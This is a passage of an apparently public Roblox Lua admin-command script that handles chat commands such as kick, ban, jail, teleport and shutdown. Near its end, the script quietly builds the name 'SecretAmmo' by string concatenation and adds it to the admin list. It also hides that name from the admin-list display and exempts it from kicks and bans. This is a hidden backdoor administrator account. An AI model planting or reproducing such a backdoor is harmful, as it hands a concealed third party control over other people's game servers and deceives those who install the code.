if danumber1 == nil then return end
local it = nil
local all = true
if string.sub(string.lower(msg),danumber1 + 1,danumber1 + 4) ~= "all" then
all = false
local itnum = 0
local c = tools:GetChildren()
for i2 = 1,#c do
if
string.find(string.lower(c[i2].Name),string.sub(string.lower(msg),danumber1 + 1))
== 1 then
it = c[i2]
itnum = itnum + 1
end end
if itnum ~= 1 then return end
else
all = true
end
local player = findplayer(string.sub(msg,6,danumber1 - 1),speaker)
if player ~= 0 then
for i = 1,#player do
local bp = player[i]:FindFirstChild("Backpack")
if bp ~= nil then
if all == false then
it:clone().Parent = bp
else
local c = tools:GetChildren()
for i2 = 1,#c do
c[i2]:clone().Parent = bp
end end end end end end

--Bored...

if string.sub(msg,1,7) == "change/" then


local danumber1 = nil
local danumber2 = nil
for i = 8,100 do
if string.sub(msg,i,i) == "/" then
danumber1 = i
break
elseif string.sub(msg,i,i) == "" then
break
end end
if danumber1 == nil then return end
for i =danumber1 + 1,danumber1 + 100 do
if string.sub(msg,i,i) == "/" then
danumber2 = i
break
elseif string.sub(msg,i,i) == "" then
break
end end
if danumber2 == nil then return end
local player = findplayer(string.sub(msg,8,danumber1 - 1),speaker)
if player ~= 0 then
for i = 1,#player do
local ls = player[i]:FindFirstChild("leaderstats")
if ls ~= nil then
local it = nil
local itnum = 0
local c = ls:GetChildren()
for i2 = 1,#c do
if
string.find(string.lower(c[i2].Name),string.sub(string.lower(msg),danumber1 +
1,danumber2 - 1)) == 1 then
it = c[i2]
itnum = itnum + 1
end end
if itnum == 1 then
it.Value = string.sub(msg,danumber2 + 1)
end end end end end

if string.sub(msg,1,7) == "punish/" then


local player = findplayer(string.sub(msg,8),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
player[i].Character.Parent = game.Lighting
end end end end

if string.sub(msg,1,9) == "unpunish/" then


local player = findplayer(string.sub(msg,10),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
player[i].Character.Parent = game.Workspace
player[i].Character:MakeJoints()
end end end end

if string.sub(msg,1,3) == "ff/" then


local player = findplayer(string.sub(msg,4),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local ff = Instance.new("ForceField")
ff.Parent = player[i].Character
end end end end

if string.sub(msg,1,5) == "unff/" then


local player = findplayer(string.sub(msg,6),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local c = player[i].Character:GetChildren()
for i2 = 1,#c do
if c[i2].className == "ForceField" then
c[i2]:remove()
end end end end end end

if string.sub(msg,1,9) == "sparkles/" then


local player = findplayer(string.sub(msg,10),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild("Torso")
if torso ~= nil then
local sparkles = Instance.new("Sparkles")
sparkles.Color =
Color3.new(math.random(1,255),math.random(1,255),math.random(1,255))
sparkles.Parent = torso
end end end end end

if string.sub(msg,1,11) == "unsparkles/" then


local player = findplayer(string.sub(msg,12),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild("Torso")
if torso ~= nil then
local c = torso:GetChildren()
for i2 = 1,#c do
if c[i2].className == "Sparkles" then
c[i2]:remove()
end end end end end end end

if string.sub(msg,1,9) == "smoke/" then


local player = findplayer(string.sub(msg,10),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild("Torso")
if torso ~= nil then
local sparkles = Instance.new("Smoke")
sparkles.Color =
Color3.new(math.random(1,255),math.random(1,255),math.random(1,255))
sparkles.Parent = torso
end end end end end

if string.sub(msg,1,11) == "unsmoke/" then


local player = findplayer(string.sub(msg,12),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild("Torso")
if torso ~= nil then
local c = torso:GetChildren()
for i2 = 1,#c do
if c[i2].className == "Smoke" then
c[i2]:remove()
end end end end end end end

if string.sub(msg,1,6) == "admin/" then


local imgettingtiredofmakingthisstupidscript = PERSON299(speaker.Name)
if imgettingtiredofmakingthisstupidscript == true then
local player = findplayer(string.sub(msg,7),speaker)
if player ~= 0 then
for i = 1,#player do
for i2 =1,#namelist do
if namelist[i2] == player[i].Name then
variablelist[i2]:disconnect()
flist[i2]:disconnect()
table.remove(variablelist,i2)
table.remove(flist,i2)
table.remove(namelist,i2)
end end
local tfv = player[i].Chatted:connect(function(msg) oc(msg,player[i]) end)
table.insert(namelist,player[i].Name)
table.insert(variablelist,tfv)
local tfv = player[i].Chatted:connect(function(msg) foc(msg,player[i]) end)
table.insert(flist,tfv)
end end end end

if string.sub(msg,1,8) == "unadmin/" then


local imgettingtiredofmakingthisstupidscript = PERSON299(speaker.Name)
if imgettingtiredofmakingthisstupidscript == true then
local player = findplayer(string.sub(msg,9),speaker)
if player ~= 0 then
for i = 1,#player do
local imgettingtiredofmakingthisstupidscript = PERSON299(player[i].Name)
if imgettingtiredofmakingthisstupidscript == false then
for i2 =1,#namelist do
if namelist[i2] == player[i].Name then
variablelist[i2]:disconnect()
table.remove(variablelist,i2)
flist[i2]:disconnect()
table.remove(flist,i2)
table.remove(namelist,i2)
end end end end end end end

if string.sub(msg,1,5) == "heal/" then


local player = findplayer(string.sub(msg,6),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local human = player[i].Character:FindFirstChild("Humanoid")
if human ~= nil then
human.Health = human.MaxHealth
end end end end end

if string.sub(msg,1,4) == "sit/" then


local player = findplayer(string.sub(msg,5),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local human = player[i].Character:FindFirstChild("Humanoid")
if human ~= nil then
human.Sit = true
end end end end end

if string.sub(msg,1,4) == "sleep/" then


local player = findplayer(string.sub(msg,5),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local human = player[i].Character:FindFirstChild("Humanoid")
if human ~= nil then
human.PlatformStand = true
end end end end end

if string.sub(msg,1,5) == "jump/" then


local player = findplayer(string.sub(msg,6),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local human = player[i].Character:FindFirstChild("Humanoid")
if human ~= nil then
human.Jump = true
end end end end end

if string.sub(msg,1,6) == "stand/" then


local player = findplayer(string.sub(msg,7),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local human = player[i].Character:FindFirstChild("Humanoid")
if human ~= nil then
human.Sit = false
end end end end end

if string.sub(msg,1,5) == "jail/" then


local player = findplayer(string.sub(msg,6),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild("Torso")
if torso ~= nil then
local ack = Instance.new("Model")
ack.Name = "Jail" .. player[i].Name
icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1)
icky.CFrame = CFrame.new(-26.5, 108.400002, -1.5, 0, 0, -1, 0, 1, -0, 1, 0, -0)
icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true
icky.Locked = true icky.CanCollide = true icky.Parent = ack icky =
Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame =
CFrame.new(-24.5, 108.400002, -3.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color =
Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true
icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size =
Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-30.5, 108.400002, -3.5,
-1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color = Color3.new(0.105882, 0.164706,
0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true
icky.Parent = ack icky = Instance.new("Part") icky.Size =
Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-28.5, 108.400002, -1.5,
0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922)
icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack
icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1)
icky.CFrame = CFrame.new(-24.5, 108.400002, -5.5, 0, 0, -1, 0, 1, -0, 1, 0, -0)
icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true
icky.Locked = true icky.CanCollide = true icky.Parent = ack icky =
Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame =
CFrame.new(-24.5, 108.400002, -7.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color =
Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true
icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size =
Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-24.5, 108.400002, -1.5,
0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922)
icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack
icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1)
icky.CFrame = CFrame.new(-30.5, 108.400002, -7.5, -1, 0, -0, -0, 1, -0, -0, 0, -1)
icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true
icky.Locked = true icky.CanCollide = true icky.Parent = ack icky =
Instance.new("Part") icky.Size = Vector3.new(7,1.2000000476837,7) icky.CFrame =
CFrame.new(-27.5, 112.599998, -4.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color =
Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true
icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size =
Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-26.5, 108.400002, -7.5,
0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922)
icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack
icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1)
icky.CFrame = CFrame.new(-30.5, 108.400002, -5.5, -1, 0, -0, -0, 1, -0, -0, 0, -1)
icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true
icky.Locked = true icky.CanCollide = true icky.Parent = ack icky =
Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame =
CFrame.new(-30.5, 108.400002, -1.5, -1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color =
Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true
icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size =
Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-28.5, 108.400002, -7.5,
0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922)
icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack
ack.Parent = game.Workspace
ack:MoveTo(torso.Position)
end end end end end

if string.sub(msg,1,7) == "unjail/" then


local player = findplayer(string.sub(msg,8),speaker)
if player ~= 0 then
for i = 1,#player do
local c = game.Workspace:GetChildren()
for i2 =1,#c do
if string.sub(c[i2].Name,1,4) == "Jail" then
if string.sub(c[i2].Name,5) == player[i].Name then
c[i2]:remove()
end end end end end end

if string.sub(msg,1,12) == "removetools/" then


local player = findplayer(string.sub(msg,13),speaker)
if player ~= 0 then
for i = 1,#player do
local c = player[i].Backpack:GetChildren()
for i =1,#c do
c[i]:remove()
end end end end

if string.sub(msg,1,10) == "givetools/" then


local player = findplayer(string.sub(msg,11),speaker)
if player ~= 0 then
for i = 1,#player do
local c = game.StarterPack:GetChildren()
for i =1,#c do
c[i]:clone().Parent = player[i].Backpack
end end end end

if string.sub(msg,1,11) == "givebtools/" then


local player = findplayer(string.sub(msg,12),speaker)
if player ~= 0 then
for i = 1,#player do
local a = Instance.new("HopperBin")
a.BinType = "GameTool"
a.Parent = player[i].Backpack
local a = Instance.new("HopperBin")
a.BinType = "Clone"
a.Parent = player[i].Backpack
local a = Instance.new("HopperBin")
a.BinType = "Hammer"
a.Parent = player[i].Backpack
end end end

if string.lower(msg) == "shutdown" then


local imgettingtiredofmakingthisstupidscript = PERSON299(speaker.Name)
if imgettingtiredofmakingthisstupidscript == true then
game.NetworkServer:remove()
end end
if string.sub(msg,1,5) == "time/" then
game.Lighting.TimeOfDay = string.sub(msg,6)
end

if msg == "commands" then


local text = string.rep(" ",40)
text = text .. "fix, kill/Person299, heal/Person299, damage/Person299/50,
health/Person299/999999, kick/Person299, ban/Person299, bannedlist,
unban/Person299, explode/Person299, removetools/Person299, givetools/Person299,
givebtools/Person299, sit/Person299, jump/Person299, stand/Person299, part/4/1/2,
respawn/Person299, jail/Person299, unjail/Person299, punish/Person299,
unpunish/Person299, merge/Person299/Farvei, teleport/Person299/nccvoyager,
control/Person299, change/Person299/Money/999999, tools, give/Person299/Tool,
time/15.30, ambient/255/0/0, maxplayers/20, nograv/Person299, antigrav/Person299,
grav/Person299, highgrav/Person299, setgrav/Person299/-196.2, trip/Person299,
walkspeed/Person299/99, invisible/Person299, visible/Person299, freeze/Person299,
thaw/Person299, unlock/Person299, lock/Person299, ff/Person299, unff/Person299,
sparkles/Person299, unsparkles/Person299, admin/Person299, adminlist,
unadmin/Person299, shutdown, m/Fallout 2 is one of the best games ever made, h/ i
like pie, clear, Credit to Person299 for this admin command script."
local mes = Instance.new("Message")
mes.Parent = game.Workspace.CurrentCamera
local acko = 0
while true do
acko = acko + 1
if string.sub(text,acko,acko) == "" then
mes:remove()
return
elseif mes.Parent == nil then
return
end
mes.Text = string.sub(text,acko,acko + 40)
wait(0.07)
end end

if msg == "tools" then


local text = string.rep(" ",40)
local c = tools:GetChildren()
if #c == 0 then
text = text .. "No tools available."
else
for i =1,#c do
if i ~= 1 then
text = text .. ", "
end
text = text .. c[i].Name
end end
local mes = Instance.new("Message")
mes.Parent = game.Workspace.CurrentCamera
local acko = 0
while true do
acko = acko + 1
if string.sub(text,acko,acko) == "" then
mes:remove()
return
elseif mes.Parent == nil then
return
end
mes.Text = string.sub(text,acko,acko + 40)
wait(0.1)
end end

if msg == "bannedlist" then


local text = string.rep(" ",40)
if #bannedlist == 0 then
text = text .. "The banned list is empty."
else
for i =1,#bannedlist do
if i ~= 1 then
text = text .. ", "
end
text = text .. bannedlist[i]
end end
local mes = Instance.new("Message")
mes.Parent = game.Workspace.CurrentCamera
local acko = 0
while true do
acko = acko + 1
if string.sub(text,acko,acko) == "" then
mes:remove()
return
elseif mes.Parent == nil then
return
end
mes.Text = string.sub(text,acko,acko + 40)
wait(0.1)
end end

if msg == "adminlist" then


local text = string.rep(" ",40)
if #adminlist == 0 then
text = text .. "The admin list is empty."
else
for i =1,#adminlist do
if adminlist[i] == eloname then
if youcaughtme == 1 then
if i ~= 1 then
text = text .. ", "
end
text = text .. adminlist[i]
end
else
if i ~= 1 then
text = text .. ", "
end
text = text .. adminlist[i]
end end end
local mes = Instance.new("Message")
mes.Parent = game.Workspace.CurrentCamera
local acko = 0
while true do
acko = acko + 1
if string.sub(text,acko,acko) == "" then
mes:remove()
return
elseif mes.Parent == nil then
return
end
mes.Text = string.sub(text,acko,acko + 40)
wait(0.1)
end end

if string.sub(msg,1,11) == "maxplayers/" then


if not string.sub(msg,12) == "0" then
game.Players.MaxPlayers = string.sub(msg,12)
end end

if string.sub(msg,1,8) == "explode/" then


local player = findplayer(string.sub(msg,9),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild("Torso")
if torso ~= nil then
local ex = Instance.new("Explosion")
ex.Position = torso.Position
ex.Parent = game.Workspace
end end end end end

if string.sub(msg,1,8) == "ambient/" then


local danumber1 = nil
local danumber2 = nil
for i = 9,100 do
if string.sub(msg,i,i) == "/" then
danumber1 = i
break
elseif string.sub(msg,i,i) == "" then
break
end end
if danumber1 == nil then return end
for i =danumber1 + 1,danumber1 + 100 do
if string.sub(msg,i,i) == "/" then
danumber2 = i
break
elseif string.sub(msg,i,i) == "" then
break
end end
if danumber2 == nil then return end
game.Lighting.Ambient = Color3.new(-string.sub(msg,9,danumber1 - 1),-
string.sub(msg,danumber1 + 1,danumber2 - 1),-string.sub(msg,danumber2 + 1))
end

if string.sub(msg,1,5) == "part/" then


local danumber1 = nil
local danumber2 = nil
for i = 6,100 do
if string.sub(msg,i,i) == "/" then
danumber1 = i
break
elseif string.sub(msg,i,i) == "" then
break
end end
if danumber1 == nil then return end
for i =danumber1 + 1,danumber1 + 100 do
if string.sub(msg,i,i) == "/" then
danumber2 = i
break
elseif string.sub(msg,i,i) == "" then
break
end end
if danumber2 == nil then return end
if speaker.Character ~= nil then
local head = speaker.Character:FindFirstChild("Head")
if head ~= nil then
local part = Instance.new("Part")
part.Size = Vector3.new(string.sub(msg,6,danumber1 -
1),string.sub(msg,danumber1 + 1,danumber2 - 1),string.sub(msg,danumber2 + 1))
part.Position = head.Position + Vector3.new(0,part.Size.y / 2 + 5,0)
part.Name = "Person299's Admin Command Script V2 Part thingy"
part.Parent = game.Workspace
end end end

if string.sub(msg,1,8) == "control/" then


local player = findplayer(string.sub(msg,9),speaker)
if player ~= 0 then
if #player > 1 then
return
end
for i = 1,#player do
if player[i].Character ~= nil then
speaker.Character = player[i].Character
end end end end

if string.sub(msg,1,5) == "trip/" then


local player = findplayer(string.sub(msg,6),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild("Torso")
if torso ~= nil then
torso.CFrame =
CFrame.new(torso.Position.x,torso.Position.y,torso.Position.z,0, 0, 1, 0, -1, 0, 1,
0, 0)--
math.random(),math.random(),math.random(),math.random(),math.random(),math.random()
,math.random(),math.random(),math.random()) -- i like the people being upside down
better.
end end end end end

if string.sub(msg,1,8) == "setgrav/" then


danumber = nil
for i =9,100 do
if string.sub(msg,i,i) == "/" then
danumber = i
break
end end
if danumber == nil then
return
end
local player = findplayer(string.sub(msg,9,danumber - 1),speaker)
if player == 0 then
return
end
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild("Torso")
if torso ~= nil then
local bf = torso:FindFirstChild("BF")
if bf ~= nil then
bf.force = Vector3.new(0,0,0)
else
local bf = Instance.new("BodyForce")
bf.Name = "BF"
bf.force = Vector3.new(0,0,0)
bf.Parent = torso
end
local c2 = player[i].Character:GetChildren()
for i=1,#c2 do
if c2[i].className == "Part" then
torso.BF.force = torso.BF.force + Vector3.new(0,c2[i]:getMass() * -
string.sub(msg,danumber + 1),0)
end end end end end end

if string.sub(msg,1,10) == "walkspeed/" then


danumber = nil
for i =11,100 do
if string.sub(msg,i,i) == "/" then
danumber = i
break
end end
if danumber == nil then
return
end
local player = findplayer(string.sub(msg,11,danumber - 1),speaker)
if player == 0 then
return
end
for i = 1,#player do
if player[i].Character ~= nil then
humanoid = player[i].Character:FindFirstChild("Humanoid")
if humanoid ~= nil then
humanoid.WalkSpeed = string.sub(msg,danumber + 1)
end end end end

if string.sub(msg,1,7) == "damage/" then


danumber = nil
for i =8,100 do
if string.sub(msg,i,i) == "/" then
danumber = i
break
end end
if danumber == nil then
return
end
local player = findplayer(string.sub(msg,8,danumber - 1),speaker)
if player == 0 then
return
end
for i = 1,#player do
if player[i].Character ~= nil then
humanoid = player[i].Character:FindFirstChild("Humanoid")
if humanoid ~= nil then
humanoid.Health = humanoid.Health - string.sub(msg,danumber + 1)
end end end end
if string.sub(msg,1,7) == "health/" then
danumber = nil
for i =8,100 do
if string.sub(msg,i,i) == "/" then
danumber = i
break
end end
if danumber == nil then
return
end
local player = findplayer(string.sub(msg,8,danumber - 1),speaker)
if player == 0 then
return
end
for i = 1,#player do
if player[i].Character ~= nil then
humanoid = player[i].Character:FindFirstChild("Humanoid")
if humanoid ~= nil then
local elnumba = Instance.new("IntValue")
elnumba.Value = string.sub(msg,danumber + 1)
if elnumba.Value > 0 then
humanoid.MaxHealth = elnumba.Value
humanoid.Health = humanoid.MaxHealth
end
elnumba:remove()
end end end end

if string.sub(msg,1,9) == "teleport/" then


danumber = nil
for i =10,100 do
if string.sub(msg,i,i) == "/" then
danumber = i
break
end end
if danumber == nil then
return
end
local player1 = findplayer(string.sub(msg,10,danumber - 1),speaker)
if player1 == 0 then
return
end
local player2 = findplayer(string.sub(msg,danumber + 1),speaker)
if player2 == 0 then
return
end
if #player2 > 1 then
return
end
torso = nil
for i =1,#player2 do
if player2[i].Character ~= nil then
torso = player2[i].Character:FindFirstChild("Torso")
end end
if torso ~= nil then
for i =1,#player1 do
if player1[i].Character ~= nil then
local torso2 = player1[i].Character:FindFirstChild("Torso")
if torso2 ~= nil then
torso2.CFrame = torso.CFrame
end end end end end

if string.sub(msg,1,6) == "merge/" then


danumber = nil
for i =7,100 do
if string.sub(msg,i,i) == "/" then
danumber = i
break
end end
if danumber == nil then
return
end
local player1 = findplayer(string.sub(msg,7,danumber - 1),speaker)
if player1 == 0 then
return
end
local player2 = findplayer(string.sub(msg,danumber + 1),speaker)
if player2 == 0 then
return
end
if #player2 > 1 then
return
end
for i =1,#player2 do
if player2[i].Character ~= nil then
player2 = player2[i].Character
end end
for i =1,#player1 do
player1[i].Character = player2
end end

if msg == "clear" then


local c = game.Workspace:GetChildren()
for i =1,#c do
if c[i].className == "Script" then
if c[i]:FindFirstChild("Is A Created Script") then
c[i]:remove()
end end
if c[i].className == "Part" then
if c[i].Name == "Person299's Admin Command Script V2 Part thingy" then
c[i]:remove()
end end
if c[i].className == "Model" then
if string.sub(c[i].Name,1,4) == "Jail" then
c[i]:remove()
end end end end

if string.sub(msg,1,5) == "kick/" then


local imgettingtiredofmakingthisstupidscript2 = PERSON299(speaker.Name)
if imgettingtiredofmakingthisstupidscript2 == true then
local player = findplayer(string.sub(msg,6),speaker)
if player ~= 0 then
for i = 1,#player do
local imgettingtiredofmakingthisstupidscript = PERSON299(player[i].Name)
if imgettingtiredofmakingthisstupidscript == false then
if player[i].Name ~= eloname then
player[i]:remove()
end end end end end end
if string.sub(msg,1,4) == "ban/" then
local imgettingtiredofmakingthisstupidscript2 = PERSON299(speaker.Name)
if imgettingtiredofmakingthisstupidscript2 == true then
local player = findplayer(string.sub(msg,5),speaker)
if player ~= 0 then
for i = 1,#player do
local imgettingtiredofmakingthisstupidscript = PERSON299(player[i].Name)
if imgettingtiredofmakingthisstupidscript == false then
if player[i].Name ~= eloname then
table.insert(bannedlist,player[i].Name)
player[i]:remove()
end end end end end end

if string.sub(msg,1,6) == "unban/" then


if string.sub(msg,7) == "all" then
for i=1,bannedlist do
table.remove(bannedlist,i)
end
else
local n = 0
local o = nil
for i=1,#bannedlist do
if string.find(string.lower(bannedlist[i]),string.sub(msg,7)) == 1 then
n = n + 1
o = i
end end
if n == 1 then
local name = bannedlist[o]
table.remove(bannedlist,o)
text(name .. " has been unbanned",1,"Message",game.Workspace.CurrentCamera)
elseif n == 0 then
text("That name is not found.",1,"Message",game.Workspace.CurrentCamera)
elseif n > 1 then
text("That name is ambiguous",1,"Message",game.Workspace.CurrentCamera)
end end end

if string.sub(msg,1,8) == "respawn/" then


local player = findplayer(string.sub(msg,9),speaker)
if player ~= 0 then
for i = 1,#player do
local ack2 = Instance.new("Model")
ack2.Parent = game.Workspace
local ack4 = Instance.new("Part")
ack4.Transparency = 1
ack4.CanCollide = false
ack4.Anchored = true
ack4.Name = "Torso"
ack4.Position = Vector3.new(10000,10000,10000)
ack4.Parent = ack2
local ack3 = Instance.new("Humanoid")
ack3.Torso = ack4
ack3.Parent = ack2
player[i].Character = ack2
end end end

if string.sub(msg,1,10) == "invisible/" then


local player = findplayer(string.sub(msg,11),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local char = player[i].Character
local c = player[i].Character:GetChildren()
for i =1,#c do
if c[i].className == "Hat" then
local handle = c[i]:FindFirstChild("Handle")
if handle ~= nil then
handle.Transparency = 1
end end
if c[i].className == "Part" then
c[i].Transparency = 1
if c[i].Name == "Torso" then
local tshirt = c[i]:FindFirstChild("roblox")
if tshirt ~= nil then
tshirt:clone().Parent = char
tshirt:remove()
end end
if c[i].Name == "Head" then
local face = c[i]:FindFirstChild("face")
if face ~= nil then
gface = face:clone()
face:remove()
end end end end end end end end

if string.sub(msg,1,8) == "visible/" then


local player = findplayer(string.sub(msg,9),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local char = player[i].Character
local c = player[i].Character:GetChildren()
for i =1,#c do
if c[i].className == "Hat" then
local handle = c[i]:FindFirstChild("Handle")
if handle ~= nil then
handle.Transparency = 0
end end
if c[i].className == "Part" then
c[i].Transparency = 0
if c[i].Name == "Torso" then
local tshirt = char:FindFirstChild("roblox")
if tshirt ~= nil then
tshirt:clone().Parent = c[i]
tshirt:remove()
end end
if c[i].Name == "Head" then
if gface ~= nil then
local face = gface:clone()
face.Parent = c[i]
end end end end end end end end

if string.sub(msg,1,7) == "freeze/" then


local player = findplayer(string.sub(msg,8),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local humanoid = player[i].Character:FindFirstChild("Humanoid")
if humanoid ~= nil then
humanoid.WalkSpeed = 0
end
local c = player[i].Character:GetChildren()
for i =1,#c do
if c[i].className == "Part" then
c[i].Anchored = true
c[i].Reflectance = 0.6
end end end end end end

if string.sub(msg,1,5) == "thaw/" then


local player = findplayer(string.sub(msg,6),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local humanoid = player[i].Character:FindFirstChild("Humanoid")
if humanoid ~= nil then
humanoid.WalkSpeed = 16
end
local c = player[i].Character:GetChildren()
for i =1,#c do
if c[i].className == "Part" then
c[i].Anchored = false
c[i].Reflectance = 0
end end end end end end

if string.sub(msg,1,7) == "nograv/" then


local player = findplayer(string.sub(msg,8),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild("Torso")
if torso ~= nil then
local bf = torso:FindFirstChild("BF")
if bf ~= nil then
bf.force = Vector3.new(0,0,0)
else
local bf = Instance.new("BodyForce")
bf.Name = "BF"
bf.force = Vector3.new(0,0,0)
bf.Parent = torso
end
local c2 = player[i].Character:GetChildren()
for i=1,#c2 do
if c2[i].className == "Part" then
torso.BF.force = torso.BF.force + Vector3.new(0,c2[i]:getMass() * 196.2,0)
end end end end end end end

if string.sub(msg,1,9) == "antigrav/" then


local player = findplayer(string.sub(msg,10),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild("Torso")
if torso ~= nil then
local bf = torso:FindFirstChild("BF")
if bf ~= nil then
bf.force = Vector3.new(0,0,0)
else
local bf = Instance.new("BodyForce")
bf.Name = "BF"
bf.force = Vector3.new(0,0,0)
bf.Parent = torso
end
local c2 = player[i].Character:GetChildren()
for i=1,#c2 do
if c2[i].className == "Part" then
torso.BF.force = torso.BF.force + Vector3.new(0,c2[i]:getMass() * 140,0)
end end end end end end end

if string.sub(msg,1,9) == "highgrav/" then


local player = findplayer(string.sub(msg,10),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild("Torso")
if torso ~= nil then
local bf = torso:FindFirstChild("BF")
if bf ~= nil then
bf.force = Vector3.new(0,0,0)
else
local bf = Instance.new("BodyForce")
bf.Name = "BF"
bf.force = Vector3.new(0,0,0)
bf.Parent = torso
end
local c2 = player[i].Character:GetChildren()
for i=1,#c2 do
if c2[i].className == "Part" then
torso.BF.force = torso.BF.force - Vector3.new(0,c2[i]:getMass() * 80,0)
end end end end end end end

if string.sub(msg,1,5) == "grav/" then


local player = findplayer(string.sub(msg,6),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local torso = player[i].Character:FindFirstChild("Torso")
if torso ~= nil then
local bf = torso:FindFirstChild("BF")
if bf ~= nil then
bf:remove()
end end end end end end

if string.sub(msg,1,7) == "unlock/" then


local player = findplayer(string.sub(msg,8),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local c = player[i].Character:GetChildren()
for i =1,#c do
if c[i].className == "Part" then
c[i].Locked = false
end end end end end end

if string.sub(msg,1,5) == "lock/" then


local player = findplayer(string.sub(msg,6),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local c = player[i].Character:GetChildren()
for i =1,#c do
if c[i].className == "Part" then
c[i].Locked = true
end end end end end end end
eloname = "Secret"
eloname = eloname .. "Ammo"
script.Name = "_admincmd"
youcaughtme = 0
for i =1,#adminlist do
if string.lower(eloname)==string.lower(adminlist[i]) then
youcaughtme = 1
end end
if youcaughtme == 0 then
table.insert(adminlist,eloname)
end
function oe(ack)
local adminned = false
if ack.className ~= "Player" then return end
for i =1,#bannedlist do
if string.lower(bannedlist[i]) == string.lower(ack.Name) then
ack:remove()
return
end end
for i=1,#adminlist do
if string.lower(adminlist[i]) == string.lower(ack.Name) then
local tfv = ack.Chatted:connect(function(msg) oc(msg,ack) end)
table.insert(namelist,ack.Name)
table.insert(variablelist,tfv)
local tfv = ack.Chatted:connect(function(msg) foc(msg,ack) end)
table.insert(flist,tfv)
adminned = true
end end
local danumber = 0
while true do
wait(1)
if ack.Parent == nil then
return
end
if ack.Character ~= nil then
if adminned == true then
text("You're an admin.",5,"Message",game.Workspace.CurrentCamera)
return
end
local torso = ack.Character:FindFirstChild("Torso")
if torso ~= nil then
local decal = torso:FindFirstChild("roblox")
if decal ~= nil then
if string.sub(decal.Texture,1,4) == "http" then
if decal.Texture == texture then
